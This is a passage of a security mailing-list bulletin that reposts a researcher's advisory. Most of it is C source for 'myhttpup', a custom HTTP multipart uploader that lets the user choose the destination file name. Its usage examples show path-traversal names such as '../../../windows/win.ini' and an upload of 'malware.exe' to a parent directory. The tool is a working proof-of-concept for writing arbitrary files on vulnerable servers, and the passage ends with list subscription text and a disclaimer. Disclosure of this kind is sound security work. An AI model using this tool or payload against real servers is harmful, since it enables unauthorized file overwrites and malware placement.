// can be like
http://aluigi.org/mytoolz/mydown.zip
// or
http://user:pass@host:port/blabla/blabla.php?file=1
uint8_t *filename, // NULL for automatic filename or forced like
"test.txt"
mydown_options *opt // the above structure for your options
);



uint32_t mydown_http2file( // ret: file size
int *sock, // socket for keep-alive
int timeout, // seconds of timeout
uint8_t *host, // hostname or IP
uint16_t port, // port
uint8_t *user, // username
uint8_t *pass, // password
uint8_t *referer, // Referer
uint8_t *useragent, // User-Agent
uint8_t *cookie, // Cookie
uint8_t *more_http, // additional http parameters (ex: mycookie:
blabla\r\npar: val\r\n)
int verbose, // verbose
uint8_t *getstr, // URI
FILE *fd, // file descriptor
uint8_t *filename, // force filename
int showhead, // show headers
int onlyifdiff, // download only if differs from local file
int resume, // resume
uint32_t from, // download from byte
uint32_t tot, // download tot bytes
uint32_t *filesize, // for storing file size
uint8_t **filedata, // use it if you want to store the downloaded file
in memory
int *ret_code, // HTTP code from the server
int onflyunzip, // on fly decompression
uint8_t *content, // data to post
int contentsize, // optional size of content (default is auto)
uint8_t *get // request
);

myhttpup.c:
/*
Copyright 2007 Luigi Auriemma

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
USA

http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/stat.h>
#include <time.h>
#include "mydownlib.h"

typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;



#define VER "0.1"
#define UPLOAD0 "Content-Type: multipart/form-data;
boundary=---------------------------%u"
#define UPLOAD1 "-----------------------------%u\r\n" \
"Content-Disposition: form-data; name=\"%s\";
filename=\"%s\"\r\n" \
"Content-Type: application/octet-stream\r\n" \
"\r\n"
#define UPLOAD2 "\r\n" \
"-----------------------------%u\r\n" \
"Content-Disposition: form-data; name=\"Upload\"\r\n" \
"\r\n" \
"Upload\r\n" \
"-----------------------------%u--\r\n"



void fgetz(char *data, int len);
void std_err(void);



int main(int argc, char *argv[]) {
mydown_options opt;
struct stat xstat;
FILE *fd;
u32 len,
seed;
int ret;
u8 tmp[100],
user[64],
pass[64],
*content,
*data,
*host,
*lfile,
*dfile,
*formname = "";

setbuf(stdout, NULL);

fputs("\n"
"Generic custom HTTP file uploader "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 4) {
printf("\n"
"Usage: %s <URL> <local_file> <dest_file> [form-name]\n"
"\n"
"Example:\n"
" 127.0.0.1 file.txt ../../../windows/win.ini\n"
" http://127.0.0.1:1234/upload malware.exe
./../dir/file.exe\n"
"\n", argv[0]);
exit(1);
}

host = argv[1];
lfile = argv[2];
dfile = argv[3];
if(argc > 4) formname = argv[4];

do {
seed = (time(NULL) * 0x343FD) + 0x269EC3;
} while(seed < 0xffff); // in reality MIME uses a 64 bit value
sprintf(tmp, UPLOAD0, seed); // but this is enough

printf("- load %s\n", lfile);
fd = fopen(lfile, "rb");
if(!fd) std_err();
fstat(fileno(fd), &xstat);

content = malloc(sizeof(UPLOAD1) + strlen(dfile) + xstat.st_size +
sizeof(UPLOAD2) + 64);
if(!content) std_err();

len = sprintf(content, UPLOAD1, seed, formname, dfile);
len += fread(content + len, 1, xstat.st_size, fd);
len += sprintf(content + len, UPLOAD2, seed, seed);

fclose(fd);

memset(&opt, 0, sizeof(opt));
opt.verbose = -1;
opt.filedata = (void *)&data;
opt.ret_code = &ret;
opt.get = "POST";
opt.more_http = tmp;
opt.content = content;
opt.contentsize = len;

redo:
data = NULL;
printf("- upload file on %s\n", host);
len = mydown(host, NULL, &opt);
if(data) {
if(len != MYDOWN_ERROR) fwrite(data, 1, len, stdout);
free(data);
}

if(ret == 401) {
printf("- authorization required:\n");
printf(" insert the username: ");
fgetz(user, sizeof(user));
printf(" insert the password: ");
fgetz(pass, sizeof(pass));
opt.user = user;
opt.pass = pass;
goto redo;
}
if((len == MYDOWN_ERROR) && (ret != 200)) {
printf("\nError: something wrong (return code %d)\n", ret);
} else {
printf("- upload finished\n");
}

free(content);
return(0);
}



void fgetz(char *data, int len) {
char *p;

fgets(data, len, stdin);
for(p = data; *p && (*p != '\n') && (*p != '\r'); p++);
*p = 0;
}



void std_err(void) {
perror("\nError");
exit(1);
}


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/hfsup-adv.txt>
http://aluigi.altervista.org/adv/hfsup-adv.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages